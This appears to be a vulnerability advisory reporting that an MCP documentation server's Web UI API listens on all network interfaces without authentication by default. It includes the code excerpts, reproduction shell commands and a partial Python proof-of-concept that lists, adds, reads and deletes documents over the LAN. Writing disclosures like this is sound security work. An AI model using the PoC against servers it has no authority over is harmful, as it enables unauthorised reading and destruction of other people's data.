@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default
Summary
@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.
As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.
The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.
Details
The README documents that the Web UI starts automatically and tells users to open:
```text
http://localhost:3080
```
It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.
The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.
In src/server.ts, the Web UI is started unless START_WEB_UI=false:
```ts
if (process.env.START_WEB_UI !== 'false') {
initializeDocumentManager().then(manager => {
return startWebServer(undefined, manager);
}).then(() => {
console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
})...
}
```
In src/web-server.ts, the Express app appears to listen with only the port:
```ts
const server = app.listen(PORT, () => {
console.log(\n 🌐 MCP Documentation Server - Web UI);
console.log( ────────────────────────────────────);
console.log( Local: http://localhost:${PORT});
console.log( Network: http://0.0.0.0:${PORT}\n);
});
```
With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:
```text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
```
The exposed API includes document-admin operations such as:
```text
GET /api/documents
GET /api/documents/:id
POST /api/documents
POST /api/search-all
DELETE /api/documents/:id
GET /api/config
```
I did not send any Authorization header in the PoC requests, and all tested operations succeeded.
PoC
Tested on v1.13.0.
1. Build from source
```bash
cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch
git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/server.js
node -p "require('./package.json').version"
```
Expected version:
```text
1.13.0
```
2. Start the server with default Web UI behavior
Do not set START_WEB_UI=false.
```bash
rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base
MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
</dev/null \
>/tmp/docsrv_stdout.log \
2>/tmp/docsrv_stderr.log &
DOCSRV_PID=$!
sleep 5
echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd
```
3. Confirm that the Web UI/API binds to all interfaces
```bash
ss -ltnp | grep ':3080' || true
```
Observed:
```text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
```
This indicates the service is not bound only to 127.0.0.1.
4. Confirm that the API is reachable through the LAN IP
```bash
LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"
curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo
```
Observed:
```text
LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}
```
No authentication header was sent.
5. Full unauthenticated document-admin PoC
```bash
cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"
def req(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
headers = {"Content-Type": "application/json"} if body is not None else {}
r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
with urllib.request.urlopen(r, timeout=10) as resp:
raw = resp.read().decode()
try:
return resp.status, json.loads(raw or "null")
except Exception:
return resp.status, raw
def main():
print(f"[poc] target = {BASE}")
print("[poc] no Authorization header is sent")
status, config = req("GET", "/api/config")
print(f"[0] config: HTTP {status}, {config}")
status, docs = req("GET", "/api/documents")
print(f"[1] list documents: HTTP {status}
